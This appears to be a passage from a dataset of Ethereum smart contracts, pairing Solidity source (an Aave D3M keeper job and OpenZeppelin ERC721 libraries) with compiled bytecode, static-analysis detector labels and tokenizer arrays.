0000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4e6f207472617000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f746f6b656e73436c61696d656400000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f6d696e7465640000000000000000000000000000000000000000000000000000600082015250565b7f746f6b656e73476976656e000000000000000000000000000000000000000000600082015250565b600481106148dc576148db614215565b5b50565b6148e881614019565b81146148f357600080fd5b50565b6148ff8161402b565b811461490a57600080fd5b50565b61491681614037565b811461492157600080fd5b50565b61492d81614041565b811461493857600080fd5b50565b614944816140a0565b811461494f57600080fd5b5056fea26469706673582212201c1e8dcd6ba3a75c921de00bcf2b52b2fdf36ee83bfeeff6fe7ea0f6c29a6bd564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2692,
5243,
2549,
9818,
2581,
2094,
2620,
20952,
2475,
12879,
2620,
2098,
2575,
2620,
14526,
2692,
19797,
29292,
23632,
2581,
2487,
2094,
20958,
10354,
2629,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
9413,
2278,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
14305,
1013,
9413,
2278,
2581,
17465,
2368,
17897,
16670,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,512 | 0x95416069ad8756f123ad48fdb6fede7179b9ecae | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity =0.8.13 >=0.8.0;
////// src/interfaces/IJob.sol
// Copyright (C) 2021 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.8.0; */
/// @title Maker Keeper Network Job
/// @notice A job represents an independant unit of work that can be done by a keeper
interface IJob {
/// @notice Executes this unit of work
/// @dev Should revert iff workable() returns canWork of false
/// @param network The name of the external keeper network
/// @param args Custom arguments supplied to the job, should be copied from workable response
function work(bytes32 network, bytes calldata args) external;
/// @notice Ask this job if it has a unit of work available
/// @dev This should never revert, only return false if nothing is available
/// @dev This should normally be a view, but sometimes that's not possible
/// @param network The name of the external keeper network
/// @return canWork Returns true if a unit of work is available
/// @return args The custom arguments to be provided to work() or an error string if canWork is false
function workable(bytes32 network) external returns (bool canWork, bytes memory args);
}
////// src/AaveDirectJob.sol
// Copyright (C) 2021 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity 0.8.13; */
/* import {IJob} from "./interfaces/IJob.sol"; */
interface SequencerLike_1 {
function isMaster(bytes32 network) external view returns (bool);
}
interface VatLike_1 {
function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
}
interface DirectLike {
function vat() external view returns (address);
function pool() external view returns (address);
function dai() external view returns (address);
function adai() external view returns (address);
function stableDebt() external view returns (address);
function variableDebt() external view returns (address);
function bar() external view returns (uint256);
function ilk() external view returns (bytes32);
function exec() external;
}
interface LendingPoolLike_1 {
function getReserveData(address asset) external view returns (
uint256, // Configuration
uint128, // the liquidity index. Expressed in ray
uint128, // variable borrow index. Expressed in ray
uint128, // the current supply rate. Expressed in ray
uint128, // the current variable borrow rate. Expressed in ray
uint128, // the current stable borrow rate. Expressed in ray
uint40,
address, // address of the adai interest bearing token
address, // address of the stable debt token
address, // address of the variable debt token
address, // address of the interest rate strategy
uint8
);
}
/// @title Trigger Aave D3M updates based on threshold
contract AaveDirectJob is IJob {
uint256 constant internal RAY = 10 ** 27;
SequencerLike_1 public immutable sequencer;
DirectLike public immutable direct;
VatLike_1 public immutable vat;
address public immutable dai;
bytes32 public immutable ilk;
LendingPoolLike_1 public immutable pool;
uint256 public immutable threshold; // Threshold deviation to kick off exec [RAY units]
// --- Errors ---
error NotMaster(bytes32 network);
error OutsideThreshold();
// --- Events ---
event Work(bytes32 indexed network);
constructor(address _sequencer, address _direct, uint256 _threshold) {
sequencer = SequencerLike_1(_sequencer);
direct = DirectLike(_direct);
vat = VatLike_1(direct.vat());
dai = direct.dai();
ilk = direct.ilk();
pool = LendingPoolLike_1(direct.pool());
threshold = _threshold;
}
function isOutsideThreshold() internal view returns (bool) {
// IMPORTANT: this function assumes Vat rate of this ilk will always be == 1 * RAY (no fees).
// That's why this module converts normalized debt (art) to Vat DAI generated with a simple RAY multiplication or division
// This module will have an unintended behaviour if rate is changed to some other value.
(, uint256 daiDebt) = vat.urns(ilk, address(direct));
uint256 _bar = direct.bar();
if (_bar == 0) {
return daiDebt > 1; // Always attempt to close out if we have debt remaining
}
(,,,, uint256 currVarBorrow,,,,,,,) = pool.getReserveData(dai);
uint256 deviation = currVarBorrow * RAY / _bar;
if (deviation < RAY) {
// Unwind case
return daiDebt > 1 && (RAY - deviation) > threshold;
} else if (deviation > RAY) {
// Wind case
(,,, uint256 line,) = vat.ilks(ilk);
return (daiDebt + 1)*RAY < line && (deviation - RAY) > threshold;
} else {
// No change
return false;
}
}
function work(bytes32 network, bytes calldata) external override {
if (!sequencer.isMaster(network)) revert NotMaster(network);
if (!isOutsideThreshold()) revert OutsideThreshold();
direct.exec();
emit Work(network);
}
function workable(bytes32 network) external view override returns (bool, bytes memory) {
if (!sequencer.isMaster(network)) return (false, bytes("Network is not master"));
if (!isOutsideThreshold()) return (false, bytes("Interest rate is in acceptable range"));
return (true, "");
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c806342cde4e81161006657806342cde4e81461013f5780635c1bba38146101745780638dce54b71461019b578063c5ce281e146101bc578063f4b9fa75146101e357600080fd5b806316f0115b146100985780631d2ab000146100dc578063222b1407146100f157806336569e7714610118575b600080fd5b6100bf7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a981565b6040516001600160a01b0390911681526020015b60405180910390f35b6100ef6100ea36600461088d565b61020a565b005b6100bf7f000000000000000000000000a13c0c8eb109f5a13c6c90fc26afb23beb3fb04a81565b6100bf7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b6101667f0000000000000000000000000000000000000000000422ca8b0a00a42500000081565b6040519081526020016100d3565b6100bf7f0000000000000000000000009566eb72e47e3e20643c0b1dfbee04da5c7e473281565b6101ae6101a9366004610909565b61037f565b6040516100d3929190610922565b6101667f4449524543542d4141564556322d44414900000000000000000000000000000081565b6100bf7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b604051637c530f1360e01b8152600481018490527f0000000000000000000000009566eb72e47e3e20643c0b1dfbee04da5c7e47326001600160a01b031690637c530f1390602401602060405180830381865afa15801561026f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102939190610981565b6102b757604051636ac204fb60e11b81526004810184905260240160405180910390fd5b6102bf610491565b6102dc57604051631f8e95cb60e31b815260040160405180910390fd5b7f000000000000000000000000a13c0c8eb109f5a13c6c90fc26afb23beb3fb04a6001600160a01b031663c1c0e9c46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561033757600080fd5b505af115801561034b573d6000803e3d6000fd5b50506040518592507f35397c1b811675273db66fd6835f814cb03d51d1595e9234d1646329e1d7e57b9150600090a2505050565b604051637c530f1360e01b8152600481018290526000906060906001600160a01b037f0000000000000000000000009566eb72e47e3e20643c0b1dfbee04da5c7e47321690637c530f1390602401602060405180830381865afa1580156103ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040e9190610981565b6104485750506040805180820190915260158152742732ba3bb7b9359034b9903737ba1036b0b9ba32b960591b6020820152600092909150565b610450610491565b610478576000604051806060016040528060248152602001610bd36024913991509150915091565b5050604080516020810190915260008152600192909150565b6040516309092f9760e21b81527f4449524543542d4141564556322d44414900000000000000000000000000000060048201526001600160a01b037f000000000000000000000000a13c0c8eb109f5a13c6c90fc26afb23beb3fb04a8116602483015260009182917f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b1690632424be5c906044016040805180830381865afa158015610541573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056591906109aa565b91505060007f000000000000000000000000a13c0c8eb109f5a13c6c90fc26afb23beb3fb04a6001600160a01b031663febb0f7e6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec91906109ce565b9050806000036105ff5750600110919050565b6040516335ea6a7560e01b81526001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f811660048301526000917f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a9909116906335ea6a759060240161018060405180830381865afa15801561068b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106af9190610a2b565b505050505050506001600160801b03169450505050506000826b033b2e3c9fd0803ce8000000836106e09190610b22565b6106ea9190610b41565b90506b033b2e3c9fd0803ce800000081101561074d5760018411801561074457507f0000000000000000000000000000000000000000000422ca8b0a00a425000000610742826b033b2e3c9fd0803ce8000000610b63565b115b94505050505090565b6b033b2e3c9fd0803ce800000081111561088257604051636cb1c69b60e11b81527f4449524543542d4141564556322d44414900000000000000000000000000000060048201526000907f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b6001600160a01b03169063d9638d369060240160a060405180830381865afa1580156107e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080c9190610b7a565b509350505050806b033b2e3c9fd0803ce800000086600161082d9190610bba565b6108379190610b22565b10801561087857507f0000000000000000000000000000000000000000000422ca8b0a00a4250000006108766b033b2e3c9fd0803ce800000084610b63565b115b9550505050505090565b600094505050505090565b6000806000604084860312156108a257600080fd5b83359250602084013567ffffffffffffffff808211156108c157600080fd5b818601915086601f8301126108d557600080fd5b8135818111156108e457600080fd5b8760208285010111156108f657600080fd5b6020830194508093505050509250925092565b60006020828403121561091b57600080fd5b5035919050565b821515815260006020604081840152835180604085015260005b818110156109585785810183015185820160600152820161093c565b8181111561096a576000606083870101525b50601f01601f191692909201606001949350505050565b60006020828403121561099357600080fd5b815180151581146109a357600080fd5b9392505050565b600080604083850312156109bd57600080fd5b505080516020909101519092909150565b6000602082840312156109e057600080fd5b5051919050565b80516001600160801b03811681146109fe57600080fd5b919050565b80516001600160a01b03811681146109fe57600080fd5b805160ff811681146109fe57600080fd5b6000806000806000806000806000806000806101808d8f031215610a4e57600080fd5b8c519b50610a5e60208e016109e7565b9a50610a6c60408e016109e7565b9950610a7a60608e016109e7565b9850610a8860808e016109e7565b9750610a9660a08e016109e7565b965060c08d015164ffffffffff81168114610ab057600080fd5b9550610abe60e08e01610a03565b9450610acd6101008e01610a03565b9350610adc6101208e01610a03565b9250610aeb6101408e01610a03565b9150610afa6101608e01610a1a565b90509295989b509295989b509295989b565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610b3c57610b3c610b0c565b500290565b600082610b5e57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610b7557610b75610b0c565b500390565b600080600080600060a08688031215610b9257600080fd5b5050835160208501516040860151606087015160809097015192989197509594509092509050565b60008219821115610bcd57610bcd610b0c565b50019056fe496e746572657374207261746520697320696e2061636365707461626c652072616e6765a2646970667358221220314e76faa8fc0572c6a3d99f80074a4a068675f4390ac5c4ff8feb3b1eb1d50064736f6c634300080d0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
27009,
16048,
2692,
2575,
2683,
4215,
2620,
23352,
2575,
2546,
12521,
2509,
4215,
18139,
2546,
18939,
2575,
25031,
2063,
2581,
16576,
2683,
2497,
2683,
19281,
2063,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1022,
1012,
2410,
1028,
1027,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
5034,
2278,
1013,
19706,
1013,
1045,
5558,
2497,
1012,
14017,
1013,
1013,
9385,
1006,
1039,
1007,
25682,
18765,
3192,
1013,
1013,
1013,
1013,
2023,
2565,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
1013,
1013,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
21358,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,513 | 0x9542b96b48cfc37564b92a705193b9c6db641ad1 | // File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
